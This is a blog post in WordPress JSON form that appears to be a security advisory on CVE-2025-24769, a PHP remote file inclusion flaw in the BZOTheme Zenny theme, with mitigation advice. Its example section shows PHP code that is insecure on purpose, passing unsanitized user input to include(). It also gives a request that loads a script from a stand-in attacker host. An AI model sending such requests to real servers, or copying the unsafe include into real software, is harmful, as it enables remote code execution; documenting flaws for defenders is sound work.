{"id":57519,"date":"2025-07-05T14:33:03","date_gmt":"2025-07-05T14:33:03","guid":{"rendered":""},"modified":"2025-09-04T11:19:41","modified_gmt":"2025-09-04T17:19:41","slug":"cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny","status":"publish","type":"post","link":"https:\/\/www.ameeba.com\/blog\/cve-2025-24769-php-remote-file-inclusion-vulnerability-in-bzotheme-zenny\/","title":{"rendered":"<strong>CVE-2025-24769: PHP Remote File Inclusion Vulnerability in BZOTheme Zenny<\/strong>"},"content":{"rendered":"<p><strong>Overview<\/strong><\/p>\n<p>The vulnerability CVE-2025-24769, documented in the Common Vulnerabilities and Exposures database, is an important security issue that affects the BZOTheme Zenny software. This issue, classified as a PHP Remote File Inclusion (RFI) vulnerability, involves an improper control of filename for Include\/Require Statement in a PHP Program. This could <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-32454-out-of-bounds-read-in-teamcenter-visualization-leading-to-potential-code-execution\/\"  data-wpil-monitor-id=\"64122\">potentially lead<\/a> to a system compromise or data leakage, making it a serious concern for all users of the affected Zenny versions. As a cybersecurity professional, understanding this <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-3319-an-authentication-bypass-vulnerability-in-ibm-spectrum-protect-server\/\"  data-wpil-monitor-id=\"64371\">vulnerability and how to protect<\/a> against it is crucial.<\/p>\n<p><strong>Vulnerability Summary<\/strong><\/p>\n<p>CVE ID: CVE-2025-24769<br \/>\nSeverity: High (CVSS: 8.1)<br \/>\nAttack Vector: Network<br \/>\nPrivileges Required: None<br \/>\nUser Interaction: Required<br \/>\nImpact: <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2023-20599-unauthorized-access-to-crypto-co-processor-registers-in-asp-leading-to-potential-system-compromise\/\"  data-wpil-monitor-id=\"64232\">Potential system<\/a> compromise or data leakage<\/p>\n<p><strong>Affected Products<\/strong><\/p><div id=\"ameeb-4007651319\" class=\"ameeb-content-2 ameeb-entity-placement\"><div style=\"border-left: 4px solid #555; padding-left: 20px; margin: 48px 0; font-family: Roboto, sans-serif; color: #ffffff; line-height: 1.6; max-width: 700px;\">\r\n  <h2 style=\"margin-top: 0; font-size: 20px; font-weight: 600; display: flex; align-items: center;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"display: inline-flex; align-items: center; margin-right: 8px;\">\r\n      <img decoding=\"async\" src=\"https:\/\/www.ameeba.com\/blog\/wp-content\/uploads\/2025\/10\/Best-App-icon-Ameeba.png\" alt=\"Ameeba Chat Icon\" style=\"width: 40px; height: 40px;\" \/>\r\n    <\/a>\r\n    A new way to communicate\r\n  <\/h2>\r\n\r\n  <p style=\"margin-bottom: 12px;\">\r\n    Ameeba Chat is built on encrypted identity, not personal profiles.\r\n  <\/p>\r\n\r\n  <p style=\"margin-bottom: 16px;\">\r\n    Message, call, share files, and coordinate with identities kept separate.\r\n  <\/p>\r\n\r\n  <ul style=\"list-style: none; padding-left: 0; margin-bottom: 20px;\">\r\n    <li>\u2022 Encrypted identity<\/li>\r\n    <li>\u2022 Ameeba Chat authenticates access<\/li>\r\n    <li>\u2022 Aliases and categories<\/li>\r\n    <li>\u2022 End-to-end encrypted chat, calls, and files<\/li>\r\n    <li>\u2022 Secure notes for sensitive information<\/li>\r\n  <\/ul>\r\n\r\n  <p style=\"font-style: italic; font-weight: 600; margin-bottom: 24px;\">\r\n    Private communication, rethought.\r\n  <\/p>\r\n\r\n  <div style=\"display: flex; flex-wrap: wrap; gap: 12px;\">\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\/download\" style=\"background-color: #ffffff; color: #000000; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Download Ameeba Chat<\/a>\r\n    <a href=\"https:\/\/www.ameeba.com\/chat\" style=\"border: 1px solid #ffffff; color: #ffffff; padding: 10px 20px; text-decoration: none; border-radius: 6px; font-weight: 500;\">Learn More<\/a>\r\n  <\/div>\r\n<\/div>\r\n<\/div>\n<p>Product | Affected Versions<\/p>\n<p>BZOTheme Zenny | n\/a through 1.7.5<\/p>\n<p><strong>How the Exploit Works<\/strong><\/p>\n<p>The <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49508-php-remote-file-inclusion-vulnerability-in-cozystay-by-loftocean\/\"  data-wpil-monitor-id=\"64123\">PHP Remote File Inclusion vulnerability<\/a> in BZOTheme Zenny exists due to improper control of filename for Include\/Require Statement in PHP Program. An attacker can manipulate the <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-48466-remote-manipulation-of-digital-outputs-via-modbus-tcp-packets\/\"  data-wpil-monitor-id=\"64277\">file<\/a> path specified in the &#8220;include&#8221; or &#8220;require&#8221; statements to reference a remote file, which is then executed in the context of the application. This can lead to unauthorized <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-36038-remote-code-execution-vulnerability-in-ibm-websphere-application-server\/\"  data-wpil-monitor-id=\"64672\">code execution<\/a>, potentially compromising the system, or allowing data leakage.<\/p>\n<p><strong>Conceptual Example Code<\/strong><\/p><div id=\"ameeb-3922050184\" class=\"ameeb-content ameeb-entity-placement\"><div class=\"poptin-embedded\" data-id=\"f6b387694f681\"><\/div>\r\n\r\n\r\n\r\n\r\n\r\n<\/div>\n<p>A conceptual example of how this vulnerability might be exploited could be a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-49295-path-traversal-vulnerability-in-mikado-themes-mediclinic\/\"  data-wpil-monitor-id=\"64130\">PHP<\/a> script that uses a variable from a user-supplied input to form a path for the &#8220;include&#8221; statement. If the input is not properly sanitized, an attacker could provide a <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-8356-path-traversal-vulnerability-in-xerox-freeflow-core-leading-to-remote-code-execution\/\"  data-wpil-monitor-id=\"78839\">path to a malicious script hosted on a remote<\/a> server.<\/p>\n<pre><code class=\"\" data-line=\"\">&lt;?php\n\/\/ The input is taken from the user without any sanitization\n$file = $_GET[&#039;file&#039;];\n\/\/ The input is used directly in the include statement\ninclude($file);\n?&gt;<\/code><\/pre>\n<p>In this example, an attacker could send a request like `http:\/\/target.example.com\/vulnerable.php?file=http:\/\/attacker.com\/malicious.php`, <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-50754-stored-cross-site-scripting-xss-vulnerability-leading-to-remote-code-execution-in-unisite-cms-5-0\/\"  data-wpil-monitor-id=\"74622\">leading to execution of the malicious script<\/a> on the target server.<\/p>\n<p><strong>Mitigation<\/strong><\/p>\n<p>Users of affected versions of <a href=\"https:\/\/www.ameeba.com\/blog\/cve-2025-4334-critical-privilege-escalation-vulnerability-in-simple-user-registration-plugin-for-wordpress\/\"  data-wpil-monitor-id=\"64947\">BZOTheme<\/a> Zenny are advised to apply the vendor patch to mitigate this vulnerability. If a patch is not available, using a Web Application Firewall (WAF) or an Intrusion Detection System (IDS) can provide temporary mitigation. However, these are not long-term solutions and updating the software remains the most effective course of action.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>Overview The vulnerability CVE-2025-24769, documented in the Common Vulnerabilities and Exposures database, is an important security issue that affects the BZOTheme Zenny software. This issue, classified as a PHP Remote File Inclusion (RFI) vulnerability, involves an improper control of filename for Include\/Require Statement in a PHP Program. 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